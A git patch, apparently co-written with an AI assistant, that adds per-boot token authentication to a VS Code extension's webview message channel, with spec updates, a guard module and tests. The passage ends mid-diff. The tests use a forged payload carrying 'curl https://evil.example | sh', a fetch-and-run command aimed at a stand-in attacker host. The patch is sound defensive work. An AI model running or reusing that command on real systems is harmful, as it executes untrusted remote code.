From 80c05afadfe8e2b3659d9ce5f420e8953e199153 Mon Sep 17 00:00:00 2001 From: Ned Twigg Date: Sat, 15 Aug 2026 17:59:36 -0700 Subject: [PATCH 1/6] =?UTF-8?q?security(vscode):=20authenticate=20host?= =?UTF-8?q?=E2=86=92webview=20messages=20with=20a=20per-boot=20token?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The VS Code adapter's `message` listener branched purely on `event.data.type` and never established who sent the message. A webview's `window` is a shared inbox: the extension host posts to it, and so can any framed surface (`dor iframe`, agent-browser) via `parent.postMessage`, which crosses origin and sandbox boundaries by design. So a page inside an iframe surface could post `{type:'dor:controlRequest', method:'surface.send', params:{...}}` and reach `writePty` — arbitrary shell input, bypassing the control-socket token that docs/specs/dor-cli.md establishes for exactly that operation. The same channel accepted forged `pty:data`/`pty:list`/`pty:replay` to spoof terminal state. The host now mints a CSPRNG token per webview boot, injects it as `__DORMOUSE_MESSAGE_TOKEN__` through the existing nonce-gated inline script, and stamps every host→webview message with it via `postToWebview`. The adapter captures the token at construction and drops any message that doesn't carry it, before branching on `type`. Framed content cannot read the parent's globals cross-origin, so it cannot produce the token. A token rather than an `event.source` check: a source check asserts something about VS Code's internal webview frame topology, which is undocumented and unverifiable without running the extension. It is deliberately not the CSP nonce — that authorizes script execution, this authenticates a sender. Both adapter listeners are guarded, including the `requestResponse` reply listener, where a forged reply would otherwise win on first match. The guard lives in lib/src/lib/vscode-message-token.ts, following the shape of iframe-proxy-registry.ts so each listener stays a one-line check. The Wall's own iframe listeners keep their independent origin validation, untouched. Fails closed both ways: a webview served without the global accepts nothing, and a send that skips postToWebview delivers nothing (reported as undelivered, the same signal the retry/reject paths already handle). Co-Authored-By: Claude Opus 5 (1M context) --- docs/specs/transport.md | 2 + docs/specs/vscode.md | 25 ++- lib/src/lib/platform/vscode-adapter.test.ts | 178 +++++++++++++++++--- lib/src/lib/platform/vscode-adapter.ts | 17 +- lib/src/lib/vscode-message-token.ts | 57 +++++++ vscode-ext/src/message-router.ts | 72 ++++---- vscode-ext/src/webview-html.ts | 8 +- vscode-ext/src/webview-messaging.ts | 49 ++++++ vscode-ext/src/webview-view-provider.ts | 5 +- 9 files changed, 351 insertions(+), 62 deletions(-) create mode 100644 lib/src/lib/vscode-message-token.ts create mode 100644 vscode-ext/src/webview-messaging.ts diff --git a/docs/specs/transport.md b/docs/specs/transport.md index 542ca5d6..3ce58583 100644 --- a/docs/specs/transport.md +++ b/docs/specs/transport.md @@ -91,6 +91,8 @@ Source of truth: Non-obvious message contracts: +**Sender authenticity is the adapter's job, not the protocol's.** The schema below says what a message means, never that it came from the host. Each adapter must establish that on its own transport before dispatching: the Tauri and browser-dev adapters inherit it from a private IPC channel and a host-owned socket, while the VS Code adapter shares its `window` inbox with framed surfaces and so requires a per-boot token on every host message (`docs/specs/vscode.md` → "Webview message authentication"). An adapter whose transport is reachable by page content must authenticate before it branches on `type`. + VS Code-only workbench chord mirroring uses `dormouse:runWorkbenchCommand` from webview to host. The host validates the requested command against the allowlist in `lib/src/lib/vscode-keybindings.ts` (see [the VS Code host spec](vscode.md)) before calling `vscode.commands.executeCommand`; generic command execution over the webview boundary is not allowed. Workspace union status (`docs/specs/alert.md`) adds no new message. Standalone computes it in-webview — the app bar's workspace strip and the Walls share one webview, so the strip reads the activity store and browser-surface state directly. VS Code computes only the host-visible native-chrome projection from the module-level `AlertManager` filtered to each router's `ownedPtyIds`, then writes it onto native chrome; the host already receives every PTY's alert state, but it does not receive browser-surface TODO (the webview→host Surface-state message is staged — see `docs/specs/vscode.md` `## Future`). diff --git a/docs/specs/vscode.md b/docs/specs/vscode.md index 9eb753f7..1173a46b 100644 --- a/docs/specs/vscode.md +++ b/docs/specs/vscode.md @@ -21,7 +21,8 @@ Extension Host (vscode-ext/src/) ├── shell-selection.ts — persisted shell picker (workspace/global selectedShellPath) ├── agent-browser-host.ts — extension-host wiring + stream relay for the agent-browser surface ├── iframe-proxy-host.ts — VS Code binding for the iframe transparent proxy (injects the logger) -├── webview-html.ts — CSP injection, nonce generation, asset URI rewriting +├── webview-html.ts — CSP injection, nonce + message-token generation, asset URI rewriting +├── webview-messaging.ts — per-webview message tokens; the single host → webview send path └── log.ts — extension logging Shared PTY Core (standalone/sidecar/) @@ -57,6 +58,7 @@ Frontend Library (lib/src/) ├── session-types.ts — PersistedSession/PersistedPane/PersistedAlertState types ├── resume-patterns.ts — detect resumable commands from scrollback ├── resolve-pane-element.ts — resolve a pane element to its Lath leaf (overlay measurement) + ├── vscode-message-token.ts — host-message token constants + the `isHostMessage` guard └── platform/ ├── types.ts — PlatformAdapter interface ├── index.ts — adapter factory (auto-detects VS Code vs fake) @@ -75,6 +77,7 @@ Universal PTY/transport invariants live in `docs/specs/transport.md`. The rules - **mergeAlertStates on every save path.** Both the frontend periodic save (`onSaveState` callback) and the backend deactivate refresh (`refreshSavedSessionStateFromPtys`) must merge current alert states. Missing this causes alert state to revert on restore. - **retainContextWhenHidden.** Set on both `WebviewPanel` (editor tabs) and `WebviewView` (bottom panel) so that xterm.js DOM, scrollback, and PTY subscriptions survive panel hide/show without going through a resume. - **Two save sources.** Session state is saved from two places: the frontend (debounced 500ms + 30s interval via `dormouse:saveState`) and the backend (deactivate flushes webviews then refreshes from live PTYs). Both paths must produce consistent state. +- **Every host → webview send carries the message token.** The webview's `window` is a shared inbox that framed surfaces can also post to, so the adapter drops any `message` that isn't stamped with the per-boot token. Adding a send path that bypasses `postToWebview` breaks that message (visibly — it is simply ignored); adding a `message` listener that skips `isHostMessage` reopens the forgery hole. See "Webview message authentication" below. - **Workbench keybindings mirror for selected chords.** `lib/src/lib/vscode-keybindings.ts` is the source of truth for the VS Code-hosted mirror allowlist. For `Ctrl/Cmd+P`, `Ctrl/Cmd+Shift+P`, `Ctrl/Cmd+B`, and `F1`, xterm still processes the key while the webview also posts `dormouse:runWorkbenchCommand`; `message-router.ts` validates that request against the same small command set before calling `vscode.commands.executeCommand`. ### Extension manifest (current) @@ -203,6 +206,26 @@ Source of truth: `vscode-ext/src/webview-html.ts` assembles the CSP directives ( `unsafe-inline` for styles is needed because VS Code injects theme CSS variables via inline styles on the body element. Scripts remain nonce-gated, with a fresh per-render nonce of 24 CSPRNG bytes (`node:crypto` `randomBytes`) base64url-encoded to 32 characters — a nonce that is guessable is a nonce that is not there, so `Math.random()` is not acceptable here. The webview HTML is built by Vite from the `lib` package, then at runtime `webview-html.ts` rewrites asset URLs to webview URIs, injects the CSP meta tag, applies nonces to all script tags, and injects initial state via a nonce-gated inline script. +### Webview message authentication + +The CSP governs what the webview document may *load*. It says nothing about who may *message* it — and in VS Code the webview's `window` is a shared inbox. The extension host posts to it, and so can any framed surface (`dor iframe`, agent-browser; `docs/specs/dor-browser.md`) via `parent.postMessage`, which crosses origin and sandbox boundaries by design. Several inbound message types are consequential: `dor:controlRequest` becomes a `dormouse:control-request` event that `use-dor-control.ts` can turn into a `writePty` call, and the `pty:*` family drives what the user sees in a terminal. `event.data.type` is attacker-chosen, so it cannot be the thing that decides trust. + +So host-originated messages are authenticated by a **per-boot message token**: + +- `getWebviewHtml` mints one token per webview document — 24 CSPRNG bytes, base64url, minted by `mintWebviewMessageToken` — and injects it as `globalThis.__DORMOUSE_MESSAGE_TOKEN__` in the same nonce-gated inline script that seeds the other `__DORMOUSE_*` globals. Re-serving a webview's HTML mints a new token; tokens are held in a `WeakMap` keyed by `vscode.Webview`, so they follow webview lifetime with no cleanup. +- **Every** host → webview send goes through `postToWebview`, which stamps the message with that webview's token. `attachRouter` exposes it as a local `post()` (all router sends use it) and `DormouseViewProvider.postMessage` routes through it. A send to a webview with no minted token is dropped and reported as undelivered (`false`) — the same signal the VS Code API gives for a dead webview, which the `dormouse:newTerminal` retry loop and `forwardDorControlRequest`'s rejection path already handle. +- `VSCodeAdapter` captures the token **once, at construction**, and both of its `message` listeners — the main dispatcher and the per-request reply listener inside `requestResponse` — call `isHostMessage(event.data, token)` before reading anything else, including `type`. + +Why a token rather than checking `event.source`/`event.origin`: a source check would have to assert something about VS Code's internal webview frame topology, which is undocumented and can change between releases. A token depends on nothing but itself. It is deliberately **not** the CSP nonce — that nonce authorizes script execution, this token authenticates a message sender; conflating them makes both harder to reason about, and the nonce appears in markup the page can read. + +The guard fails closed in both directions: a webview served without the global accepts nothing, and a host send without a token delivers nothing. Framed content cannot read the parent's globals cross-origin, so it cannot produce the token. + +This is the same shape as the origin check the Wall already applies to messages from proxied iframes (`isProxyOrigin` in `lib/src/lib/iframe-proxy-registry.ts`, used by `use-wall-keyboard.ts` and `IframePanel.tsx`) — a small module holding the trust criterion so each listener stays a one-line guard. Those two listeners validate their own senders and are unaffected by the token; the token covers only the adapter's host channel. + +Scope is VS Code. The standalone adapters receive the equivalent events over Tauri's `listen()` IPC and the dev harness's host WebSocket (`docs/specs/standalone.md`, `docs/specs/transport.md`), never `window.postMessage`, so they have no forgeable inbox to guard. + +Source of truth: `lib/src/lib/vscode-message-token.ts` (constants + `isHostMessage`), `vscode-ext/src/webview-messaging.ts` (mint + `postToWebview`), `vscode-ext/src/webview-html.ts` (injection), `lib/src/lib/platform/vscode-adapter.ts` (both guards). Tests: the `host message authentication` block in `lib/src/lib/platform/vscode-adapter.test.ts`. + ### Build and development Source of truth: diff --git a/lib/src/lib/platform/vscode-adapter.test.ts b/lib/src/lib/platform/vscode-adapter.test.ts index 6611c275..63a40aa2 100644 --- a/lib/src/lib/platform/vscode-adapter.test.ts +++ b/lib/src/lib/platform/vscode-adapter.test.ts @@ -27,8 +27,23 @@ import { collectTerminalSemanticEvents, TerminalProtocolParser, } from '../terminal-protocol'; +import { HOST_MESSAGE_TOKEN_FIELD, HOST_MESSAGE_TOKEN_GLOBAL } from '../vscode-message-token'; import { VSCodeAdapter } from './vscode-adapter'; +/** Stand-in for the per-boot token the extension host injects at webview boot. */ +const HOST_TOKEN = 'test-host-message-token'; + +/** + * Build the `message` event the extension host would post: the payload plus the + * token stamp `postToWebview` adds. Framed content can't read the token, so a + * forged message is just this without the stamp. + */ +function hostMessage(data: Record): MessageEvent { + return new MessageEvent('message', { + data: { ...data, [HOST_MESSAGE_TOKEN_FIELD]: HOST_TOKEN }, + }); +} + describe('VSCodeAdapter PTY exit handling', () => { let windowTarget: EventTarget; let postMessage: ReturnType; @@ -50,6 +65,9 @@ describe('VSCodeAdapter PTY exit handling', () => { } vi.stubGlobal('window', windowTarget); vi.stubGlobal('CustomEvent', TestCustomEvent); + // The adapter captures this at construction, so it must be stubbed before + // any `new VSCodeAdapter()` below. + vi.stubGlobal(HOST_MESSAGE_TOKEN_GLOBAL, HOST_TOKEN); vi.stubGlobal('acquireVsCodeApi', () => ({ postMessage, getState: vi.fn(), @@ -67,9 +85,7 @@ describe('VSCodeAdapter PTY exit handling', () => { const exits: Array<{ id: string; exitCode: number }> = []; adapter.onPtyExit((detail) => exits.push(detail)); - windowTarget.dispatchEvent(new MessageEvent('message', { - data: { type: 'pty:exit', id: 'pane-1', exitCode: 7 }, - })); + windowTarget.dispatchEvent(hostMessage({ type: 'pty:exit', id: 'pane-1', exitCode: 7 })); expect(exits).toEqual([{ id: 'pane-1', exitCode: 7 }]); expect(terminalStateStoreMocks.removeTerminalPaneState).not.toHaveBeenCalled(); @@ -151,9 +167,7 @@ describe('VSCodeAdapter PTY exit handling', () => { const snapshots: string[][] = []; adapter.onWatchedCommands((names) => snapshots.push(names)); - windowTarget.dispatchEvent(new MessageEvent('message', { - data: { type: 'alert:watchedCommands', names: ['claude', 'npm'] }, - })); + windowTarget.dispatchEvent(hostMessage({ type: 'alert:watchedCommands', names: ['claude', 'npm'] })); expect(snapshots).toEqual([['claude', 'npm']]); }); @@ -163,12 +177,10 @@ describe('VSCodeAdapter PTY exit handling', () => { const replays: Array<{ id: string; data: string }> = []; adapter.onPtyReplay((detail) => replays.push(detail)); - windowTarget.dispatchEvent(new MessageEvent('message', { - data: { - type: 'pty:replay', - id: 'pane-1', - data: 'hello\x1b]7;file://localhost/Users/me/project\x1b\\world', - }, + windowTarget.dispatchEvent(hostMessage({ + type: 'pty:replay', + id: 'pane-1', + data: 'hello\x1b]7;file://localhost/Users/me/project\x1b\\world', })); // Visible data is stripped of the OSC 7 sequence. @@ -192,9 +204,7 @@ describe('VSCodeAdapter PTY exit handling', () => { { type: 'promptStart' as const }, ]; - windowTarget.dispatchEvent(new MessageEvent('message', { - data: { type: 'terminal:semanticEvents', id: 'pane-1', events }, - })); + windowTarget.dispatchEvent(hostMessage({ type: 'terminal:semanticEvents', id: 'pane-1', events })); void adapter; expect(terminalStateStoreMocks.applyTerminalSemanticEventsByPtyId).toHaveBeenCalledTimes(1); @@ -223,7 +233,7 @@ describe('VSCodeAdapter PTY exit handling', () => { })); new VSCodeAdapter(); - windowTarget.dispatchEvent(new MessageEvent('message', { data: wirePayload })); + windowTarget.dispatchEvent(hostMessage(wirePayload)); expect(terminalStateStoreMocks.applyTerminalSemanticEventsByPtyId).toHaveBeenCalledTimes(1); expect(terminalStateStoreMocks.applyTerminalSemanticEventsByPtyId).toHaveBeenCalledWith('pane-1', hostEvents); @@ -236,15 +246,13 @@ describe('VSCodeAdapter PTY exit handling', () => { }); new VSCodeAdapter(); - windowTarget.dispatchEvent(new MessageEvent('message', { - data: { - type: 'dormouse:newTerminal', - shell: '/bin/zsh', - args: ['-l'], - name: 'zsh', - replaceUntouched: true, - announce: true, - }, + windowTarget.dispatchEvent(hostMessage({ + type: 'dormouse:newTerminal', + shell: '/bin/zsh', + args: ['-l'], + name: 'zsh', + replaceUntouched: true, + announce: true, })); expect(requests).toEqual([{ @@ -255,4 +263,124 @@ describe('VSCodeAdapter PTY exit handling', () => { announce: true, }]); }); + + // A webview's window receives `parent.postMessage` from every framed surface + // (`dor iframe`, agent-browser), so "arrived as a message event" is not + // evidence the extension host sent it. See docs/specs/vscode.md → "Webview + // message authentication". + describe('host message authentication', () => { + /** What framed content can produce: the right shape, no token. */ + function forgedMessage(data: Record): MessageEvent { + return new MessageEvent('message', { data }); + } + + const controlRequest = { + type: 'dor:controlRequest', + requestId: 'forged-1', + surfaceId: 'pane-1', + method: 'surface.send', + params: { surface: 'pane-1', input: 'curl https://evil.example | sh\n' }, + }; + + it('ignores a control request that does not carry the host token', () => { + const dispatched: unknown[] = []; + windowTarget.addEventListener('dormouse:control-request', (event) => { + dispatched.push((event as CustomEvent).detail); + }); + + new VSCodeAdapter(); + windowTarget.dispatchEvent(forgedMessage(controlRequest)); + + // No control request reaches use-dor-control, so nothing becomes a PTY + // write, and nothing is echoed back to the host. + expect(dispatched).toEqual([]); + expect(postMessage).not.toHaveBeenCalled(); + }); + + it('processes the same control request when it carries the host token', () => { + const dispatched: Array<{ method: string; params: unknown }> = []; + windowTarget.addEventListener('dormouse:control-request', (event) => { + dispatched.push((event as CustomEvent).detail); + }); + + new VSCodeAdapter(); + windowTarget.dispatchEvent(hostMessage(controlRequest)); + + expect(dispatched).toHaveLength(1); + expect(dispatched[0]).toMatchObject({ + method: 'surface.send', + params: { surface: 'pane-1', input: 'curl https://evil.example | sh\n' }, + }); + }); + + it('ignores untokened pty traffic, so framed content cannot spoof terminal state', () => { + const adapter = new VSCodeAdapter(); + const data: unknown[] = []; + const replays: unknown[] = []; + const exits: unknown[] = []; + const lists: unknown[] = []; + adapter.onPtyData((detail) => data.push(detail)); + adapter.onPtyReplay((detail) => replays.push(detail)); + adapter.onPtyExit((detail) => exits.push(detail)); + adapter.onPtyList((detail) => lists.push(detail)); + + windowTarget.dispatchEvent(forgedMessage({ type: 'pty:data', id: 'pane-1', data: 'fake' })); + windowTarget.dispatchEvent(forgedMessage({ type: 'pty:replay', id: 'pane-1', data: 'fake' })); + windowTarget.dispatchEvent(forgedMessage({ type: 'pty:exit', id: 'pane-1', exitCode: 0 })); + windowTarget.dispatchEvent(forgedMessage({ type: 'pty:list', ptys: [] })); + windowTarget.dispatchEvent(forgedMessage({ + type: 'terminal:semanticEvents', id: 'pane-1', events: [{ type: 'promptStart' }], + })); + + expect(data).toEqual([]); + expect(replays).toEqual([]); + expect(exits).toEqual([]); + expect(lists).toEqual([]); + expect(terminalStateStoreMocks.applyTerminalSemanticEventsByPtyId).not.toHaveBeenCalled(); + }); + + it('rejects a wrong token as firmly as a missing one', () => { + const adapter = new VSCodeAdapter(); + const exits: unknown[] = []; + adapter.onPtyExit((detail) => exits.push(detail)); + + windowTarget.dispatchEvent(new MessageEvent('message', { + data: { type: 'pty:exit', id: 'pane-1', exitCode: 7, [HOST_MESSAGE_TOKEN_FIELD]: 'guessed' }, + })); + + expect(exits).toEqual([]); + }); + + it('guards request/response replies too, so a forged reply cannot beat the real one', async () => { + const adapter = new VSCodeAdapter(); + const pending = adapter.getCwd('pane-1'); + + const [request] = postMessage.mock.calls[0] as [{ requestId: string }]; + + // A forged reply matching type and requestId, racing ahead of the host's. + windowTarget.dispatchEvent(forgedMessage({ + type: 'pty:cwd', id: 'pane-1', cwd: '/attacker', requestId: request.requestId, + })); + windowTarget.dispatchEvent(hostMessage({ + type: 'pty:cwd', id: 'pane-1', cwd: '/real/project', requestId: request.requestId, + })); + + expect(await pending).toBe('/real/project'); + }); + + it('accepts nothing when the host injected no token', () => { + // A webview served without the global fails closed rather than open. + vi.stubGlobal(HOST_MESSAGE_TOKEN_GLOBAL, undefined); + const adapter = new VSCodeAdapter(); + const exits: unknown[] = []; + adapter.onPtyExit((detail) => exits.push(detail)); + + windowTarget.dispatchEvent(hostMessage({ type: 'pty:exit', id: 'pane-1', exitCode: 7 })); + windowTarget.dispatchEvent(new MessageEvent('message', { + data: { type: 'pty:exit', id: 'pane-1', exitCode: 7, [HOST_MESSAGE_TOKEN_FIELD]: undefined }, + })); + + expect(exits).toEqual([]); + }); + }); }); diff --git a/lib/src/lib/platform/vscode-adapter.ts b/lib/src/lib/platform/vscode-adapter.ts index df381c96..26c5ec89 100644 --- a/lib/src/lib/platform/vscode-adapter.ts +++ b/lib/src/lib/platform/vscode-adapter.ts @@ -10,12 +10,17 @@ import { applyTerminalSemanticEventsByPtyId, } from '../terminal-state-store'; import { getTerminalTheme, onTerminalThemeChange } from '../terminal-theme'; +import { isHostMessage, readHostMessageToken } from '../vscode-message-token'; import type { DorControlResult } from 'dor/protocol'; import type { VSCodeWorkbenchCommand } from '../vscode-keybindings'; export class VSCodeAdapter implements PlatformAdapter { private vscode: ReturnType; private hostState: unknown = (globalThis as typeof globalThis & { __DORMOUSE_HOST_STATE__?: unknown }).__DORMOUSE_HOST_STATE__ ?? null; + // Captured once, at construction, from the global the extension host injects + // at webview boot — so a later same-document write can't move the goalposts. + // Every `message` listener below checks it before reading anything else. + private readonly hostMessageToken = readHostMessageToken(); private dataHandlers = new Set<(detail: { id: string; data: string }) => void>(); private exitHandlers = new Set<(detail: { id: string; exitCode: number }) => void>(); private listHandlers = new Set<(detail: { ptys: PtyInfo[] }) => void>(); @@ -59,8 +64,14 @@ export class VSCodeAdapter implements PlatformAdapter { onTerminalThemeChange(() => this.pushThemeColors()); window.addEventListener('message', (event: MessageEvent) => { + // A webview's window also receives `parent.postMessage` from any framed + // surface (`dor iframe`, agent-browser), and several branches below turn + // a message into a PTY write or terminal state. Authenticate the sender + // before looking at `type` at all — see docs/specs/vscode.md → "Webview + // message authentication". + if (!isHostMessage(event.data, this.hostMessageToken)) return; const msg = event.data; - if (!msg || !msg.type) return; + if (!msg.type) return; if (msg.type === 'pty:data') { for (const handler of this.dataHandlers) { @@ -161,6 +172,10 @@ export class VSCodeAdapter implements PlatformAdapter { resolve(null); }, timeoutMs); const handler = (event: MessageEvent) => { + // Same guard as the main listener: a request/response reply carries + // host-supplied data (a proxy URL, scrollback, clipboard contents), and + // a forged one racing the real reply would win on first match. + if (!isHostMessage(event.data, this.hostMessageToken)) return; const msg = event.data; if (msg?.type === responseType && msg.requestId === requestId) { clearTimeout(timeout); diff --git a/lib/src/lib/vscode-message-token.ts b/lib/src/lib/vscode-message-token.ts new file mode 100644 index 00000000..48c2fc79 --- /dev/null +++ b/lib/src/lib/vscode-message-token.ts @@ -0,0 +1,57 @@ +/** + * Authenticates extension-host → webview `postMessage` traffic in the VS Code + * host (`docs/specs/vscode.md` → "Webview message authentication"). + * + * A webview's `window` receives `message` events from two very different + * senders: the extension host (trusted — it owns the PTYs) and any framed + * content, which reaches the top document with `parent.postMessage(...)`. + * Cross-origin frames can post freely by design, so `event.data.type` alone + * says nothing about who sent it — and the adapter turns some of those types + * into PTY writes. + * + * So the host mints a fresh CSPRNG token per webview boot, injects it into the + * document through the same nonce-gated inline script that seeds the other + * `__DORMOUSE_*` globals, and stamps it on every message it posts. A frame + * cannot read the parent's globals across origins, so it cannot produce the + * token, and the adapter drops anything that doesn't carry it. + * + * This is the same shape as `iframe-proxy-registry.ts` — a tiny module holding + * the trust criterion so the listener stays a one-line guard — but keyed on an + * unguessable secret rather than an origin, because the VS Code host's internal + * frame topology is not something the webview can verify. + * + * Deliberately not the CSP nonce: that one authorizes script execution, this + * one authenticates a message sender. Separate purposes, separate secrets. + */ + +/** Global the host injects the per-boot token into. */ +export const HOST_MESSAGE_TOKEN_GLOBAL = '__DORMOUSE_MESSAGE_TOKEN__'; + +/** Envelope field every host-originated message carries. */ +export const HOST_MESSAGE_TOKEN_FIELD = '__dormouseToken'; + +/** + * Read the injected token. Returns `null` when the global is absent or not a + * non-empty string, which makes {@link isHostMessage} reject everything — a + * webview served without a token fails closed rather than open. + */ +export function readHostMessageToken(): string | null { + const raw = (globalThis as typeof globalThis & { + __DORMOUSE_MESSAGE_TOKEN__?: unknown; + })[HOST_MESSAGE_TOKEN_GLOBAL]; + return typeof raw === 'string' && raw.length > 0 ? raw : null; +} + +/** + * True when `data` is a message envelope stamped with `token`. + * + * A plain `===` is enough here: the token is compared against a value the + * sender chose, and neither branch reports anything back to a frame, so there + * is no oracle to time. Comparing against a string also rejects a coerced + * lookalike (an object with a `toString`) outright. + */ +export function isHostMessage(data: unknown, token: string | null): boolean { + if (!token) return false; + if (typeof data !== 'object' || data === null) return false; + return (data as Record)[HOST_MESSAGE_TOKEN_FIELD] === token; +} diff --git a/vscode-ext/src/message-router.ts b/vscode-ext/src/message-router.ts index 93033b38..b9aacc05 100644 --- a/vscode-ext/src/message-router.ts +++ b/vscode-ext/src/message-router.ts @@ -22,6 +22,7 @@ import type { DorControlRequest } from './pty-manager'; import { createStreamRelayUrl, runAgentBrowserCommand, runAgentBrowserEdit, runAgentBrowserOpen, runAgentBrowserPopIn, runAgentBrowserPopOut, runAgentBrowserScreenshot, runAgentBrowserStreamStatus } from './agent-browser-host'; import { createIframeProxyUrl } from './iframe-proxy-host'; import { log } from './log'; +import { postToWebview } from './webview-messaging'; const clipboardOps = require('../../lib/clipboard-ops.cjs') as { readClipboardFilePaths(): Promise; @@ -163,6 +164,11 @@ export function attachRouter( const reconnect = options?.reconnect ?? false; const killOnDispose = options?.killOnDispose ?? false; + // Every host → webview send goes through here so it carries this webview's + // message token; the webview drops anything unstamped. See + // docs/specs/vscode.md → "Webview message authentication". + const post = (message: ExtensionMessage): Thenable => postToWebview(webview, message); + // Track which PTY IDs were spawned (or reconnected) through this webview const ownedPtyIds = new Set(); const pendingFlushRequests = new Map void; timeout: ReturnType }>(); @@ -172,13 +178,13 @@ export function attachRouter( // Subscribed on dormouse:init, unsubscribed when webview content is gone. let disconnectWebview: (() => void) | null = null; const removeWatchedCommandListener = watchedCommandHost.subscribe((names) => { - void webview.postMessage({ + void post({ type: 'alert:watchedCommands', names, } satisfies ExtensionMessage); }); const removeAlertSettingsListener = alertSettingsHost.subscribe((settings) => { - void webview.postMessage({ + void post({ type: 'alert:settings', settings, } satisfies ExtensionMessage); @@ -236,7 +242,7 @@ export function attachRouter( timeout, }); - void webview.postMessage({ type: 'dormouse:flushSessionSave', requestId } satisfies ExtensionMessage); + void post({ type: 'dormouse:flushSessionSave', requestId } satisfies ExtensionMessage); }); } @@ -245,7 +251,7 @@ export function attachRouter( } function forwardDorControlRequest(request: DorControlRequest): void { - void webview.postMessage({ + void post({ type: 'dor:controlRequest', requestId: request.requestId, surfaceId: request.surfaceId, @@ -278,23 +284,23 @@ export function attachRouter( function connectWebview(): () => void { const removeProcessedListener = onProcessedPtyData((id, visibleData) => { if (!ownedPtyIds.has(id)) return; - webview.postMessage({ type: 'pty:data', id, data: visibleData } satisfies ExtensionMessage); + post({ type: 'pty:data', id, data: visibleData } satisfies ExtensionMessage); }); const removeSemanticListener = onTerminalSemanticEvents((id, events) => { if (!ownedPtyIds.has(id)) return; - webview.postMessage({ type: 'terminal:semanticEvents', id, events } satisfies ExtensionMessage); + post({ type: 'terminal:semanticEvents', id, events } satisfies ExtensionMessage); }); const removePtyCallbacks = ptyManager.addCallbacks({ onData() {}, onExit(id: string, exitCode: number) { if (!ownedPtyIds.has(id)) return; - webview.postMessage({ type: 'pty:exit', id, exitCode } satisfies ExtensionMessage); + post({ type: 'pty:exit', id, exitCode } satisfies ExtensionMessage); }, }); const removeAlertListener = alertManager.onStateChange((id, state) => { if (!ownedPtyIds.has(id)) return; - webview.postMessage({ + post({ type: 'alert:state', id, status: state.status, @@ -340,16 +346,16 @@ export function attachRouter( break; case 'pty:getCwd': ptyManager.getCwd(msg.id).then((cwd) => { - webview.postMessage({ type: 'pty:cwd', id: msg.id, cwd, requestId: msg.requestId } satisfies ExtensionMessage); + post({ type: 'pty:cwd', id: msg.id, cwd, requestId: msg.requestId } satisfies ExtensionMessage); }); break; case 'pty:getOpenPorts': ptyManager.getOpenPorts(msg.id).then((ports) => { - webview.postMessage({ type: 'pty:openPorts', id: msg.id, ports, requestId: msg.requestId } satisfies ExtensionMessage); + post({ type: 'pty:openPorts', id: msg.id, ports, requestId: msg.requestId } satisfies ExtensionMessage); }); break; case 'pty:getScrollback': - webview.postMessage({ + post({ type: 'pty:scrollback', id: msg.id, data: ptyManager.getScrollback(msg.id), requestId: msg.requestId, @@ -357,29 +363,29 @@ export function attachRouter( break; case 'pty:getShells': ptyManager.getAvailableShells().then((shells) => { - webview.postMessage({ + post({ type: 'pty:shells', shells, requestId: msg.requestId, } satisfies ExtensionMessage); }); break; case 'clipboard:readFiles': clipboardOps.readClipboardFilePaths() - .then((paths) => webview.postMessage({ + .then((paths) => post({ type: 'clipboard:files', paths: paths.length ? paths : null, requestId: msg.requestId, } satisfies ExtensionMessage)) .catch((err) => { log.info(`[clipboard] readFiles failed: ${err?.message ?? err}`); - webview.postMessage({ type: 'clipboard:files', paths: null, requestId: msg.requestId } satisfies ExtensionMessage); + post({ type: 'clipboard:files', paths: null, requestId: msg.requestId } satisfies ExtensionMessage); }); break; case 'clipboard:readImage': clipboardOps.readClipboardImageAsFilePath() - .then((path) => webview.postMessage({ + .then((path) => post({ type: 'clipboard:image', path, requestId: msg.requestId, } satisfies ExtensionMessage)) .catch((err) => { log.info(`[clipboard] readImage failed: ${err?.message ?? err}`); - webview.postMessage({ type: 'clipboard:image', path: null, requestId: msg.requestId } satisfies ExtensionMessage); + post({ type: 'clipboard:image', path: null, requestId: msg.requestId } satisfies ExtensionMessage); }); break; case 'dormouse:openExternal': { @@ -404,7 +410,7 @@ export function attachRouter( Array.isArray(msg.args) ? msg.args : [], typeof msg.binaryPath === 'string' ? msg.binaryPath : undefined, ).then((result) => { - webview.postMessage({ + post({ type: 'agentBrowser:commandResult', requestId: msg.requestId, ...result, } satisfies ExtensionMessage); }); @@ -415,7 +421,7 @@ export function attachRouter( msg.op, typeof msg.binaryPath === 'string' ? msg.binaryPath : undefined, ).then((result) => { - webview.postMessage({ + post({ type: 'agentBrowser:editResult', requestId: msg.requestId, ...result, } satisfies ExtensionMessage); }); @@ -426,7 +432,7 @@ export function attachRouter( { format: msg.format, quality: msg.quality }, typeof msg.binaryPath === 'string' ? msg.binaryPath : undefined, ).then((result) => { - webview.postMessage({ + post({ type: 'agentBrowser:screenshotResult', requestId: msg.requestId, ...result, } satisfies ExtensionMessage); }); @@ -436,7 +442,7 @@ export function attachRouter( msg.session, typeof msg.binaryPath === 'string' ? msg.binaryPath : undefined, ).then((result) => { - webview.postMessage({ + post({ type: 'agentBrowser:streamStatusResult', requestId: msg.requestId, ...result, } satisfies ExtensionMessage); }); @@ -444,15 +450,15 @@ export function attachRouter( case 'agentBrowser:getStreamUrl': { const streamPort = Number.isInteger(msg.port) && msg.port > 0 && msg.port <= 65535 ? msg.port : null; if (!streamPort) { - webview.postMessage({ type: 'agentBrowser:streamUrl', requestId: msg.requestId, url: null } satisfies ExtensionMessage); + post({ type: 'agentBrowser:streamUrl', requestId: msg.requestId, url: null } satisfies ExtensionMessage); break; } createStreamRelayUrl(streamPort).then( - (url) => webview.postMessage({ + (url) => post({ type: 'agentBrowser:streamUrl', requestId: msg.requestId, url, } satisfies ExtensionMessage), - () => webview.postMessage({ type: 'agentBrowser:streamUrl', requestId: msg.requestId, url: null } satisfies ExtensionMessage), + () => post({ type: 'agentBrowser:streamUrl', requestId: msg.requestId, url: null } satisfies ExtensionMessage), ); break; } @@ -462,7 +468,7 @@ export function attachRouter( { headed: msg.headed === true }, typeof msg.binaryPath === 'string' ? msg.binaryPath : undefined, ).then((result) => { - webview.postMessage({ type: 'agentBrowser:openResult', requestId: msg.requestId, ...result } satisfies ExtensionMessage); + post({ type: 'agentBrowser:openResult', requestId: msg.requestId, ...result } satisfies ExtensionMessage); }); break; case 'agentBrowser:popOut': @@ -471,7 +477,7 @@ export function attachRouter( { url: typeof msg.url === 'string' ? msg.url : undefined, rect: msg.rect }, typeof msg.binaryPath === 'string' ? msg.binaryPath : undefined, ).then((result) => { - webview.postMessage({ type: 'agentBrowser:popResult', requestId: 